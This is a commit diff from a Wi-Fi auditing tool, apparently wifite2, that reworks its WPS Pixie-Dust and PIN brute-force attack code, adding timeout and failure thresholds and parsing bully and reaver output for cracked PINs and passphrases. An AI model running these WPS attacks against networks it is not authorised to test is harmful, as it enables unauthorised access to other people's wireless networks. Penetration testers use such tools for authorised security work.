2.1.3: Better WPS attack messaging. Leave device in Monitor Mode.
Unrelated to WPS: * Do not take device out of monitor mode when finished (informs user) * Do not restart NetworkManager when finished (informs user) Changes to CLI switches: * --wps-time X: Total time for WPS attack to complete * --wps-timeouts X: Max number of timeouts before failing * --wps-fails X: Max number of WPSFails before failing * Removed unused WPS switches. * Improved --help messaging for WPS switches. * Fail/Timeout threshold default is 100 Bully now outputs useful information: * Current PIN + status * Time remaining * Number of Timeout messages * Number of "WPSFail" messages * If AP is locked Better reaver output. * Looks more like Bully's output. * Timer shows time remaining for attack. * Mentions "Running pixiewps" during "M2 message" step. * pixiewps failure looks like this: "Reaver says: 'WPS pin not found'" * Counts Timeouts and "WPS Transaction Failure" (WPSFail) For #28
This commit is contained in:
@@ -297,56 +297,55 @@ class Arguments(object):
|
|||||||
dest='wps_filter',
|
dest='wps_filter',
|
||||||
help=Color.s('Filter to display only WPS-enabled networks'))
|
help=Color.s('Filter to display only WPS-enabled networks'))
|
||||||
wps.add_argument('-wps', help=argparse.SUPPRESS, action='store_true', dest='wps_filter')
|
wps.add_argument('-wps', help=argparse.SUPPRESS, action='store_true', dest='wps_filter')
|
||||||
|
|
||||||
wps.add_argument('--bully',
|
wps.add_argument('--bully',
|
||||||
action='store_true',
|
action='store_true',
|
||||||
dest='use_bully',
|
dest='use_bully',
|
||||||
help=Color.s('Use {C}bully{W} instead of {C}reaver{W} for WPS attacks (default: {G}reaver{W})'))
|
help=Color.s('Use {C}bully{W} instead of {C}reaver{W} for WPS attacks (default: {G}reaver{W})'))
|
||||||
|
# Alias
|
||||||
|
wps.add_argument('-bully', help=argparse.SUPPRESS, action='store_true', dest='use_bully')
|
||||||
|
|
||||||
wps.add_argument('--no-wps',
|
wps.add_argument('--no-wps',
|
||||||
action='store_true',
|
action='store_true',
|
||||||
dest='no_wps',
|
dest='no_wps',
|
||||||
help=Color.s('{O}NEVER{W} use WPS attacks (Pixie-Dust) on non-WEP networks (default: {G}off{W})'))
|
help=Color.s('{O}NEVER{W} use WPS attacks (Pixie-Dust) on non-WEP networks (default: {G}off{W})'))
|
||||||
|
|
||||||
wps.add_argument('--wps-only',
|
wps.add_argument('--wps-only',
|
||||||
action='store_true',
|
action='store_true',
|
||||||
dest='wps_only',
|
dest='wps_only',
|
||||||
help=Color.s('{G}ALWAYS{W} use WPS attacks (Pixie-Dust) on non-WEP networks (default: {G}off{W})'))
|
help=Color.s('{G}ALWAYS{W} use WPS attacks (Pixie-Dust) on non-WEP networks (default: {G}off{W})'))
|
||||||
|
# Alias
|
||||||
|
wps.add_argument('--pixie', help=argparse.SUPPRESS, action='store_true', dest='wps_only')
|
||||||
|
|
||||||
# Same as --wps-only
|
# Time limit on entire attack.
|
||||||
wps.add_argument('--pixie',
|
wps.add_argument('--wps-time',
|
||||||
help=argparse.SUPPRESS,
|
|
||||||
action='store_true',
|
|
||||||
dest='wps_only')
|
|
||||||
|
|
||||||
wps.add_argument('--pixiet',
|
|
||||||
action='store',
|
action='store',
|
||||||
dest='wps_pixie_timeout',
|
dest='wps_pixie_timeout',
|
||||||
metavar='[seconds]',
|
metavar='[sec]',
|
||||||
type=int,
|
type=int,
|
||||||
help=self._verbose('Time to wait before failing PixieDust attack (default: {G}%d sec{W})' % self.config.wps_pixie_timeout))
|
help=self._verbose('Total time to wait before failing PixieDust attack (default: {G}%d sec{W})' % self.config.wps_pixie_timeout))
|
||||||
wps.add_argument('--pixiest',
|
# Alias
|
||||||
action='store',
|
wps.add_argument('-wpst', help=argparse.SUPPRESS, action='store', dest='wps_pixie_timeout', type=int)
|
||||||
dest='wps_pixie_step_timeout',
|
|
||||||
metavar='[seconds]',
|
# Maximum number of "failures" (WPSFail)
|
||||||
type=int,
|
wps.add_argument('--wps-fails',
|
||||||
help=self._verbose('Time to wait for a step to progress before failing PixieDust attack (default: {G}%d sec{W})' % self.config.wps_pixie_step_timeout))
|
|
||||||
wps.add_argument('--wpsmf',
|
|
||||||
action='store',
|
action='store',
|
||||||
dest='wps_fail_threshold',
|
dest='wps_fail_threshold',
|
||||||
metavar='[fails]',
|
metavar='[num]',
|
||||||
type=int,
|
type=int,
|
||||||
help=self._verbose('Maximum number of WPS Failures before failing attack (default: {G}%d{W})' % self.config.wps_fail_threshold))
|
help=self._verbose('Maximum number of WPSFail/NoAssoc errors before failing (default: {G}%d{W})' % self.config.wps_fail_threshold))
|
||||||
wps.add_argument('-wpsmf', help=argparse.SUPPRESS, action='store', dest='wps_fail_threshold', type=int)
|
# Alias
|
||||||
wps.add_argument('--wpsmt',
|
wps.add_argument('-wpsf', help=argparse.SUPPRESS, action='store', dest='wps_fail_threshold', type=int)
|
||||||
|
|
||||||
|
# Maximum number of "timeouts"
|
||||||
|
wps.add_argument('--wps-timeouts',
|
||||||
action='store',
|
action='store',
|
||||||
dest='wps_timeout_threshold',
|
dest='wps_timeout_threshold',
|
||||||
metavar='[timeouts]',
|
metavar='[num]',
|
||||||
type=int,
|
type=int,
|
||||||
help=self._verbose('Maximum number of Timeouts before stopping (default: {G}%d{W})' % self.config.wps_timeout_threshold))
|
help=self._verbose('Maximum number of Timeouts before failing (default: {G}%d{W})' % self.config.wps_timeout_threshold))
|
||||||
wps.add_argument('-wpsmt', help=argparse.SUPPRESS, action='store', dest='wps_timeout_threshold', type=int)
|
# Alias
|
||||||
wps.add_argument('--ignore-ratelimit',
|
wps.add_argument('-wpsto', help=argparse.SUPPRESS, action='store', dest='wps_timeout_threshold', type=int)
|
||||||
action='store_false',
|
|
||||||
dest='wps_skip_rate_limit',
|
|
||||||
help=Color.s('Ignores attack if WPS is rate-limited (default: {G}on{W})'))
|
|
||||||
wps.add_argument('-ignore-ratelimit', help=argparse.SUPPRESS, action='store_false', dest='wps_skip_rate_limit')
|
|
||||||
|
|
||||||
|
|
||||||
def _add_command_args(self, commands):
|
def _add_command_args(self, commands):
|
||||||
|
|||||||
@@ -29,19 +29,18 @@ class AttackWPS(Attack):
|
|||||||
bully = Bully(self.target)
|
bully = Bully(self.target)
|
||||||
bully.run()
|
bully.run()
|
||||||
bully.stop()
|
bully.stop()
|
||||||
if bully.crack_result is not None:
|
self.crack_result = bully.crack_result
|
||||||
self.crack_result = bully.crack_result
|
self.success = self.crack_result is not None
|
||||||
self.success = True
|
return self.success
|
||||||
return True
|
|
||||||
else:
|
else:
|
||||||
reaver = Reaver(self.target)
|
reaver = Reaver(self.target)
|
||||||
if reaver.is_pixiedust_supported():
|
if reaver.is_pixiedust_supported():
|
||||||
# Reaver: Pixie-dust
|
# Reaver: Pixie-dust
|
||||||
reaver = Reaver(self.target)
|
reaver = Reaver(self.target)
|
||||||
if reaver.run_pixiedust_attack():
|
reaver.run()
|
||||||
self.crack_result = reaver.crack_result
|
self.crack_result = reaver.crack_result
|
||||||
self.success = True
|
self.success = self.crack_result is not None
|
||||||
return True
|
return self.success
|
||||||
else:
|
else:
|
||||||
Color.pl("{!} {R}your version of 'reaver' does not support the {O}WPS pixie-dust attack{W}")
|
Color.pl("{!} {R}your version of 'reaver' does not support the {O}WPS pixie-dust attack{W}")
|
||||||
|
|
||||||
|
|||||||
@@ -12,7 +12,7 @@ class Configuration(object):
|
|||||||
|
|
||||||
initialized = False # Flag indicating config has been initialized
|
initialized = False # Flag indicating config has been initialized
|
||||||
temp_dir = None # Temporary directory
|
temp_dir = None # Temporary directory
|
||||||
version = '2.1.2'
|
version = '2.1.3'
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def initialize(load_interface=True):
|
def initialize(load_interface=True):
|
||||||
@@ -88,10 +88,8 @@ class Configuration(object):
|
|||||||
Configuration.wps_only = False # ONLY use WPS attacks on non-WEP networks
|
Configuration.wps_only = False # ONLY use WPS attacks on non-WEP networks
|
||||||
Configuration.use_bully = False # Use bully instead of reaver
|
Configuration.use_bully = False # Use bully instead of reaver
|
||||||
Configuration.wps_pixie_timeout = 300 # Seconds to wait for PIN before WPS Pixie attack fails
|
Configuration.wps_pixie_timeout = 300 # Seconds to wait for PIN before WPS Pixie attack fails
|
||||||
Configuration.wps_pixie_step_timeout = 30 # Seconds to wait for a step to change before pixie fails
|
Configuration.wps_fail_threshold = 100 # Max number of failures
|
||||||
Configuration.wps_fail_threshold = 30 # Max number of failures
|
Configuration.wps_timeout_threshold = 100 # Max number of timeouts
|
||||||
Configuration.wps_timeout_threshold = 30 # Max number of timeouts
|
|
||||||
Configuration.wps_skip_rate_limit = True # Skip rate-limited WPS APs
|
|
||||||
|
|
||||||
# Commands
|
# Commands
|
||||||
Configuration.show_cracked = False
|
Configuration.show_cracked = False
|
||||||
@@ -214,31 +212,25 @@ class Configuration(object):
|
|||||||
|
|
||||||
# WPS
|
# WPS
|
||||||
if args.wps_filter:
|
if args.wps_filter:
|
||||||
Configuration.wps_filter = args.wps_filter
|
Configuration.wps_filter = args.wps_filter
|
||||||
if args.wps_only:
|
if args.wps_only:
|
||||||
Configuration.wps_only = True
|
Configuration.wps_only = True
|
||||||
Color.pl('{+} {C}option:{W} will *only* attack non-WEP networks with {G}WPS attacks{W} (no handshake capture)')
|
Color.pl('{+} {C}option:{W} will *only* attack non-WEP networks with {G}WPS attacks{W} (no handshake capture)')
|
||||||
if args.no_wps:
|
if args.no_wps:
|
||||||
Configuration.no_wps = args.no_wps
|
Configuration.no_wps = args.no_wps
|
||||||
Color.pl('{+} {C}option:{W} will {O}never{W} use {C}WPS attacks{W} (Pixie-Dust/PIN) on targets')
|
Color.pl('{+} {C}option:{W} will {O}never{W} use {C}WPS attacks{W} (Pixie-Dust/PIN) on targets')
|
||||||
if args.use_bully:
|
if args.use_bully:
|
||||||
Configuration.use_bully = args.use_bully
|
Configuration.use_bully = args.use_bully
|
||||||
Color.pl('{+} {C}option:{W} use {C}bully{W} instead of {C}reaver{W} for WPS Attacks')
|
Color.pl('{+} {C}option:{W} use {C}bully{W} instead of {C}reaver{W} for WPS Attacks')
|
||||||
if args.wps_pixie_timeout:
|
if args.wps_pixie_timeout:
|
||||||
Configuration.wps_pixie_timeout = args.wps_pixie_timeout
|
Configuration.wps_pixie_timeout = args.wps_pixie_timeout
|
||||||
Color.pl('{+} {C}option:{W} WPS pixie-dust attack will timeout after {G}%d seconds{W}' % args.wps_pixie_timeout)
|
Color.pl('{+} {C}option:{W} WPS pixie-dust attack will fail after {O}%d seconds{W}' % args.wps_pixie_timeout)
|
||||||
if args.wps_pixie_step_timeout:
|
|
||||||
Configuration.wps_pixie_step_timeout = args.wps_pixie_step_timeout
|
|
||||||
Color.pl('{+} {C}option:{W} Any step in the pixie-dust attack will timeout after {G}%d seconds{W}' % args.wps_pixie_step_timeout)
|
|
||||||
if args.wps_fail_threshold:
|
if args.wps_fail_threshold:
|
||||||
Configuration.wps_fail_threshold = args.wps_fail_threshold
|
Configuration.wps_fail_threshold = args.wps_fail_threshold
|
||||||
Color.pl('{+} {C}option:{W} will stop WPS attack after {G}%d failures{W}' % args.wps_fail_threshold)
|
Color.pl('{+} {C}option:{W} will stop WPS attack after {O}%d failures{W}' % args.wps_fail_threshold)
|
||||||
if args.wps_timeout_threshold:
|
if args.wps_timeout_threshold:
|
||||||
Configuration.wps_timeout_threshold = args.wps_timeout_threshold
|
Configuration.wps_timeout_threshold = args.wps_timeout_threshold
|
||||||
Color.pl('{+} {C}option:{W} will stop WPS attack after {G}%d timeouts{W}' % args.wps_timeout_threshold)
|
Color.pl('{+} {C}option:{W} will stop WPS attack after {O}%d timeouts{W}' % args.wps_timeout_threshold)
|
||||||
if args.wps_skip_rate_limit == False:
|
|
||||||
Configuration.wps_skip_rate_limit = False
|
|
||||||
Color.pl('{+} {C}option:{W} will {G}continue{W} WPS attacks when rate-limited')
|
|
||||||
|
|
||||||
# Adjust encryption filter
|
# Adjust encryption filter
|
||||||
Configuration.encryption_filter = []
|
Configuration.encryption_filter = []
|
||||||
@@ -321,11 +313,14 @@ class Configuration(object):
|
|||||||
Macchanger.reset_if_changed()
|
Macchanger.reset_if_changed()
|
||||||
from .tools.airmon import Airmon
|
from .tools.airmon import Airmon
|
||||||
if hasattr(Configuration, "interface") and Configuration.interface is not None and Airmon.base_interface is not None:
|
if hasattr(Configuration, "interface") and Configuration.interface is not None and Airmon.base_interface is not None:
|
||||||
Airmon.stop(Configuration.interface)
|
Color.pl('{!} Leaving interface {C}%s{W} in Monitor Mode.' % Configuration.interface)
|
||||||
Airmon.put_interface_up(Airmon.base_interface)
|
Color.pl('{!} You can disable Monitor Mode when finished ({C}airmon-ng stop %s{W})' % Configuration.interface)
|
||||||
|
#Airmon.stop(Configuration.interface)
|
||||||
|
#Airmon.put_interface_up(Airmon.base_interface)
|
||||||
|
|
||||||
if Airmon.killed_network_manager:
|
if Airmon.killed_network_manager:
|
||||||
Airmon.start_network_manager()
|
Color.pl('{!} You can restart NetworkManager when finished ({C}service network-manager start{W})')
|
||||||
|
#Airmon.start_network_manager()
|
||||||
|
|
||||||
exit(code)
|
exit(code)
|
||||||
|
|
||||||
|
|||||||
@@ -15,10 +15,10 @@ from threading import Thread
|
|||||||
class Bully(Attack):
|
class Bully(Attack):
|
||||||
def __init__(self, target):
|
def __init__(self, target):
|
||||||
super(Bully, self).__init__(target)
|
super(Bully, self).__init__(target)
|
||||||
self.consecutive_lockouts = self.consecutive_timeouts = self.consecutive_noassoc = 0
|
self.total_timeouts = 0
|
||||||
self.pins_attempted = 0
|
self.total_failures = 0
|
||||||
|
self.locked = False
|
||||||
self.state = "{O}Waiting for beacon{W}"
|
self.state = "{O}Waiting for beacon{W}"
|
||||||
self.m_state = None
|
|
||||||
self.start_time = time.time()
|
self.start_time = time.time()
|
||||||
|
|
||||||
self.cracked_pin = self.cracked_key = self.cracked_bssid = self.cracked_essid = None
|
self.cracked_pin = self.cracked_key = self.cracked_bssid = self.cracked_essid = None
|
||||||
@@ -46,8 +46,6 @@ class Bully(Attack):
|
|||||||
|
|
||||||
self.bully_proc = None
|
self.bully_proc = None
|
||||||
|
|
||||||
def attack_type(self):
|
|
||||||
return "Pixie-Dust"
|
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
with Airodump(channel=self.target.channel,
|
with Airodump(channel=self.target.channel,
|
||||||
@@ -55,11 +53,7 @@ class Bully(Attack):
|
|||||||
skip_wps=True,
|
skip_wps=True,
|
||||||
output_file_prefix='wps_pin') as airodump:
|
output_file_prefix='wps_pin') as airodump:
|
||||||
# Wait for target
|
# Wait for target
|
||||||
Color.clear_entire_line()
|
self.pattack("Waiting for target to appear...")
|
||||||
Color.pattack("WPS",
|
|
||||||
self.target,
|
|
||||||
self.attack_type(),
|
|
||||||
"Waiting for target to appear...")
|
|
||||||
self.target = self.wait_for_target(airodump)
|
self.target = self.wait_for_target(airodump)
|
||||||
|
|
||||||
# Start bully
|
# Start bully
|
||||||
@@ -67,27 +61,42 @@ class Bully(Attack):
|
|||||||
stderr=Process.devnull(),
|
stderr=Process.devnull(),
|
||||||
bufsize=0,
|
bufsize=0,
|
||||||
cwd=Configuration.temp())
|
cwd=Configuration.temp())
|
||||||
|
|
||||||
|
# Start bully status thread
|
||||||
t = Thread(target=self.parse_line_thread)
|
t = Thread(target=self.parse_line_thread)
|
||||||
t.daemon = True
|
t.daemon = True
|
||||||
t.start()
|
t.start()
|
||||||
|
|
||||||
try:
|
try:
|
||||||
while self.bully_proc.poll() is None:
|
while self.bully_proc.poll() is None:
|
||||||
try:
|
try:
|
||||||
self.target = self.wait_for_target(airodump)
|
self.target = self.wait_for_target(airodump)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
Color.clear_entire_line()
|
self.pattack('{R}Failed: {O}%s{W}' % e, newline=True)
|
||||||
Color.pattack("WPS",
|
|
||||||
self.target,
|
|
||||||
self.attack_type(),
|
|
||||||
"{R}failed: {O}%s{W}" % e)
|
|
||||||
Color.pl("")
|
|
||||||
self.stop()
|
self.stop()
|
||||||
break
|
break
|
||||||
Color.clear_entire_line()
|
|
||||||
Color.pattack("WPS",
|
# Update status
|
||||||
self.target,
|
self.pattack(self.get_status())
|
||||||
self.attack_type(),
|
|
||||||
self.get_status())
|
# Check if entire attack timed out.
|
||||||
|
if self.running_time() > Configuration.wps_pixie_timeout:
|
||||||
|
self.pattack('{R}Failed: {O}Timeout after %d seconds{W}' % Configuration.wps_pixie_timeout, newline=True)
|
||||||
|
self.stop()
|
||||||
|
return
|
||||||
|
|
||||||
|
# Check if timeout threshold was breached
|
||||||
|
if self.total_timeouts >= Configuration.wps_timeout_threshold:
|
||||||
|
self.pattack('{R}Failed: {O}More than %d timeouts{W}' % Configuration.wps_timeout_threshold, newline=True)
|
||||||
|
self.stop()
|
||||||
|
return
|
||||||
|
|
||||||
|
# Check if WPSFail threshold was breached
|
||||||
|
if self.total_failures >= Configuration.wps_fail_threshold:
|
||||||
|
self.pattack('{R}Failed: {O}More than %d WPSFails{W}' % Configuration.wps_fail_threshold, newline=True)
|
||||||
|
self.stop()
|
||||||
|
return
|
||||||
|
|
||||||
time.sleep(0.5)
|
time.sleep(0.5)
|
||||||
except KeyboardInterrupt as e:
|
except KeyboardInterrupt as e:
|
||||||
self.stop()
|
self.stop()
|
||||||
@@ -97,111 +106,97 @@ class Bully(Attack):
|
|||||||
raise e
|
raise e
|
||||||
|
|
||||||
if self.crack_result is None:
|
if self.crack_result is None:
|
||||||
Color.clear_entire_line()
|
self.pattack("{R}Failed{W}", newline=True)
|
||||||
Color.pattack("WPS",
|
|
||||||
self.target,
|
|
||||||
self.attack_type(),
|
def pattack(self, message, newline=False):
|
||||||
"{R}Failed{W}\n")
|
# Print message with attack information.
|
||||||
|
time_left = Configuration.wps_pixie_timeout - self.running_time()
|
||||||
|
|
||||||
|
Color.clear_entire_line()
|
||||||
|
Color.pattack("WPS",
|
||||||
|
self.target,
|
||||||
|
'Pixie-Dust',
|
||||||
|
'{W}[{C}%s{W}] %s' % (Timer.secs_to_str(time_left), message))
|
||||||
|
if newline:
|
||||||
|
Color.pl("")
|
||||||
|
|
||||||
|
|
||||||
def running_time(self):
|
def running_time(self):
|
||||||
return int(time.time() - self.start_time)
|
return int(time.time() - self.start_time)
|
||||||
|
|
||||||
|
|
||||||
def get_status(self):
|
def get_status(self):
|
||||||
result = self.state
|
main_status = self.state
|
||||||
result += " ({C}runtime:%s{W}" % Timer.secs_to_str(self.running_time())
|
|
||||||
result += " {G}tries:%d{W}" % self.pins_attempted
|
meta_statuses = []
|
||||||
result += " {O}failures:%d{W}" % (self.consecutive_timeouts + self.consecutive_noassoc)
|
if self.total_timeouts > 0:
|
||||||
result += " {R}lockouts:%d{W}" % self.consecutive_lockouts
|
meta_statuses.append("{O}Timeouts:%d{W}" % self.total_timeouts)
|
||||||
result += ")"
|
|
||||||
return result
|
if self.total_failures > 0:
|
||||||
|
meta_statuses.append("{O}WPSFail:%d{W}" % self.total_failures)
|
||||||
|
|
||||||
|
if self.locked:
|
||||||
|
meta_statuses.append("{R}Locked{W}")
|
||||||
|
|
||||||
|
if len(meta_statuses) > 0:
|
||||||
|
main_status += ' (%s)' % ', '.join(meta_statuses)
|
||||||
|
|
||||||
|
return main_status
|
||||||
|
|
||||||
|
|
||||||
def parse_line_thread(self):
|
def parse_line_thread(self):
|
||||||
for line in iter(self.bully_proc.pid.stdout.readline, b""):
|
for line in iter(self.bully_proc.pid.stdout.readline, b""):
|
||||||
if line == "": continue
|
if line == "": continue
|
||||||
line = line.replace("\r", "").replace("\n", "").strip()
|
line = line.replace("\r", "").replace("\n", "").strip()
|
||||||
if self.parse_line(line): break # Cracked
|
|
||||||
|
|
||||||
def parse_line(self, line):
|
if Configuration.verbose > 1:
|
||||||
# [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c)
|
Color.pe('\n{P} [bully:stdout] %s' % line)
|
||||||
got_beacon = re.search(r".*Got beacon for '(.*)' \((.*)\)", line)
|
|
||||||
if got_beacon:
|
self.state = self.parse_state(line)
|
||||||
# group(1)=ESSID, group(2)=BSSID
|
|
||||||
self.state = "Got beacon"
|
|
||||||
|
|
||||||
# [+] Last State = 'NoAssoc' Next pin '48855501'
|
self.crack_result = self.parse_crack_result(line)
|
||||||
last_state = re.search(r".*Last State = '(.*)'\s*Next pin '(.*)'", line)
|
|
||||||
if last_state:
|
|
||||||
# group(1)=result, group(2)=PIN
|
|
||||||
result = "Start" # last_state.group(1)
|
|
||||||
pin = last_state.group(2)
|
|
||||||
self.state = "Trying PIN:{C}%s{W}" % pin
|
|
||||||
|
|
||||||
# [+] Rx( M5 ) = 'Pin1Bad' Next pin '35565505'
|
if self.crack_result:
|
||||||
# [+] Tx( Auth ) = 'Timeout' Next pin '80241263'
|
break
|
||||||
rx_m = re.search(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'", line)
|
|
||||||
if rx_m:
|
|
||||||
# group(1)=M3/M5, group(2)=result, group(3)=PIN
|
|
||||||
self.m_state = rx_m.group(1)
|
|
||||||
result = rx_m.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad
|
|
||||||
if result in ["Pin1Bad", "Pin2Bad"]:
|
|
||||||
self.pins_attempted += 1
|
|
||||||
self.consecutive_lockouts = 0 # Reset lockout count
|
|
||||||
self.consecutive_timeouts = 0 # Reset timeout count
|
|
||||||
self.consecutive_noassoc = 0 # Reset timeout count
|
|
||||||
result = "{G}%s{W}" % result
|
|
||||||
elif result == "Timeout":
|
|
||||||
self.consecutive_timeouts += 1
|
|
||||||
result = "{O}%s{W}" % result
|
|
||||||
elif result == "NoAssoc":
|
|
||||||
self.consecutive_noassoc += 1
|
|
||||||
result = "{O}%s{W}" % result
|
|
||||||
else:
|
|
||||||
result = "{R}%s{W}" % result
|
|
||||||
pin = rx_m.group(3)
|
|
||||||
self.state = "Trying PIN:{C}%s{W} (%s)" % (pin, result)
|
|
||||||
|
|
||||||
# [!] WPS lockout reported, sleeping for 43 seconds ...
|
|
||||||
lock_out = re.search(r".*WPS lockout reported, sleeping for (\d+) seconds", line)
|
|
||||||
if lock_out:
|
|
||||||
sleeping = lock_out.group(1)
|
|
||||||
self.state = "{R}WPS Lock-out: {O}Waiting %s seconds{W}" % sleeping
|
|
||||||
self.consecutive_lockouts += 1
|
|
||||||
|
|
||||||
# [Pixie-Dust] WPS pin not found
|
|
||||||
pixie_re = re.search(r".*\[Pixie-Dust\] WPS pin not found", line)
|
|
||||||
if pixie_re:
|
|
||||||
self.state = "{R}Failed{W}"
|
|
||||||
|
|
||||||
|
|
||||||
# [+] Running pixiewps with the information, wait ...
|
def parse_crack_result(self, line):
|
||||||
pixie_re = re.search(r".*Running pixiewps with the information", line)
|
# Check for line containing PIN and PSK
|
||||||
if pixie_re:
|
|
||||||
self.state = "{G}Running pixiewps...{W}"
|
|
||||||
|
|
||||||
# [*] Pin is '80246213', key is 'password'
|
# [*] Pin is '80246213', key is 'password'
|
||||||
# [*] Pin is '11867722', key is '9a6f7997'
|
|
||||||
pin_key_re = re.search(r"Pin is '(\d*)', key is '(.*)'", line)
|
pin_key_re = re.search(r"Pin is '(\d*)', key is '(.*)'", line)
|
||||||
if pin_key_re:
|
if pin_key_re:
|
||||||
self.cracked_pin = pin_key_re.group(1)
|
self.cracked_pin = pin_key_re.group(1)
|
||||||
self.cracked_key = pin_key_re.group(2)
|
self.cracked_key = pin_key_re.group(2)
|
||||||
|
|
||||||
# PIN : '80246213'
|
###############
|
||||||
pin_re = re.search(r"^\s*PIN\s*:\s*'(.*)'\s*$", line)
|
# Check for PIN
|
||||||
if pin_re:
|
if self.cracked_pin is None:
|
||||||
self.cracked_pin = pin_re.group(1)
|
# PIN : '80246213'
|
||||||
|
pin_re = re.search(r"^\s*PIN\s*:\s*'(.*)'\s*$", line)
|
||||||
|
if pin_re:
|
||||||
|
self.cracked_pin = pin_re.group(1)
|
||||||
|
|
||||||
|
# [Pixie-Dust] PIN FOUND: 01030365
|
||||||
|
pin_re = re.search(r"^\[Pixie-Dust\] PIN FOUND: '?(\d*)'?\s*$", line)
|
||||||
|
if pin_re:
|
||||||
|
self.cracked_pin = pin_re.group(1)
|
||||||
|
|
||||||
|
if self.cracked_pin is not None:
|
||||||
|
# Mention the PIN & that we're not done yet.
|
||||||
|
self.pattack("{G}Cracked PIN: {C}%s{W}" % self.cracked_pin, newline=True)
|
||||||
|
|
||||||
|
self.state = "{G}Finding PSK...{C}"
|
||||||
|
time.sleep(2)
|
||||||
|
|
||||||
|
###########################
|
||||||
# KEY : 'password'
|
# KEY : 'password'
|
||||||
key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line)
|
key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line)
|
||||||
if key_re:
|
if key_re:
|
||||||
self.cracked_key = key_re.group(1)
|
self.cracked_key = key_re.group(1)
|
||||||
|
|
||||||
#warn_re = re.search(r"\[\!\]\s*(.*)$", line)
|
|
||||||
#if warn_re: self.state = "{O}%s{W}" % warn_re.group(1)
|
|
||||||
|
|
||||||
if not self.crack_result and self.cracked_pin and self.cracked_key:
|
if not self.crack_result and self.cracked_pin and self.cracked_key:
|
||||||
Color.clear_entire_line()
|
self.pattack("{G}Cracked PSK: {C}%s{W}" % self.cracked_key, newline=True)
|
||||||
Color.pattack("WPS", self.target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}")
|
|
||||||
Color.pl("")
|
|
||||||
self.crack_result = CrackResultWPS(
|
self.crack_result = CrackResultWPS(
|
||||||
self.target.bssid,
|
self.target.bssid,
|
||||||
self.target.essid,
|
self.target.essid,
|
||||||
@@ -209,19 +204,81 @@ class Bully(Attack):
|
|||||||
self.cracked_key)
|
self.cracked_key)
|
||||||
Color.pl("")
|
Color.pl("")
|
||||||
self.crack_result.dump()
|
self.crack_result.dump()
|
||||||
return True
|
|
||||||
else:
|
return self.crack_result
|
||||||
return False
|
|
||||||
|
|
||||||
|
def parse_state(self, line):
|
||||||
|
state = self.state
|
||||||
|
|
||||||
|
# [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c)
|
||||||
|
got_beacon = re.search(r".*Got beacon for '(.*)' \((.*)\)", line)
|
||||||
|
if got_beacon:
|
||||||
|
# group(1)=ESSID, group(2)=BSSID
|
||||||
|
state = "Got beacon"
|
||||||
|
|
||||||
|
# [+] Last State = 'NoAssoc' Next pin '48855501'
|
||||||
|
last_state = re.search(r".*Last State = '(.*)'\s*Next pin '(.*)'", line)
|
||||||
|
if last_state:
|
||||||
|
# group(1)=result, group(2)=PIN
|
||||||
|
pin = last_state.group(2)
|
||||||
|
state = "Trying PIN {C}%s{W} (%s)" % (pin, last_state.group(1))
|
||||||
|
|
||||||
|
# [+] Tx( Auth ) = 'Timeout' Next pin '80241263'
|
||||||
|
mx_result_pin = re.search(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'", line)
|
||||||
|
if mx_result_pin:
|
||||||
|
self.locked = False
|
||||||
|
# group(1)=M3/M5, group(2)=result, group(3)=PIN
|
||||||
|
m_state = mx_result_pin.group(1)
|
||||||
|
result = mx_result_pin.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad
|
||||||
|
pin = mx_result_pin.group(3)
|
||||||
|
|
||||||
|
if result == "Timeout":
|
||||||
|
self.total_timeouts += 1
|
||||||
|
result = "{O}%s{W}" % result
|
||||||
|
elif result == "WPSFail":
|
||||||
|
self.total_failures += 1
|
||||||
|
result = "{O}%s{W}" % result
|
||||||
|
elif result == "NoAssoc":
|
||||||
|
result = "{O}%s{W}" % result
|
||||||
|
else:
|
||||||
|
result = "{R}%s{W}" % result
|
||||||
|
|
||||||
|
result = "{P}%s{W}:%s" % (m_state.strip(), result.strip())
|
||||||
|
state = "Trying PIN {C}%s{W} (%s)" % (pin, result)
|
||||||
|
|
||||||
|
# [!] WPS lockout reported, sleeping for 43 seconds ...
|
||||||
|
re_lockout = re.search(r".*WPS lockout reported, sleeping for (\d+) seconds", line)
|
||||||
|
if re_lockout:
|
||||||
|
self.locked = True
|
||||||
|
sleeping = re_lockout.group(1)
|
||||||
|
state = "{R}WPS Lock-out: {O}Waiting %s seconds{W}" % sleeping
|
||||||
|
|
||||||
|
# [Pixie-Dust] WPS pin not found
|
||||||
|
re_pin_not_found = re.search(r".*\[Pixie-Dust\] WPS pin not found", line)
|
||||||
|
if re_pin_not_found:
|
||||||
|
state = "{R}Failed: {O}Bully says 'WPS pin not found'{W}"
|
||||||
|
|
||||||
|
# [+] Running pixiewps with the information, wait ...
|
||||||
|
re_running_pixiewps = re.search(r".*Running pixiewps with the information", line)
|
||||||
|
if re_running_pixiewps:
|
||||||
|
state = "{G}Running pixiewps...{W}"
|
||||||
|
|
||||||
|
return state
|
||||||
|
|
||||||
|
|
||||||
def stop(self):
|
def stop(self):
|
||||||
if hasattr(self, "pid") and self.pid and self.pid.poll() is None:
|
if hasattr(self, "pid") and self.pid and self.pid.poll() is None:
|
||||||
self.pid.interrupt()
|
self.pid.interrupt()
|
||||||
|
|
||||||
|
|
||||||
def __del__(self):
|
def __del__(self):
|
||||||
self.stop()
|
self.stop()
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_psk_from_pin(target, pin):
|
def get_psk_from_pin(target, pin):
|
||||||
|
# Fetches PSK from a Target assuming "pin" is the correct PIN
|
||||||
'''
|
'''
|
||||||
bully --channel 1 --bssid 34:21:09:01:92:7C --pin 01030365 --bruteforce wlan0mon
|
bully --channel 1 --bssid 34:21:09:01:92:7C --pin 01030365 --bruteforce wlan0mon
|
||||||
PIN : '01030365'
|
PIN : '01030365'
|
||||||
@@ -229,8 +286,6 @@ class Bully(Attack):
|
|||||||
BSSID : '34:21:09:01:92:7c'
|
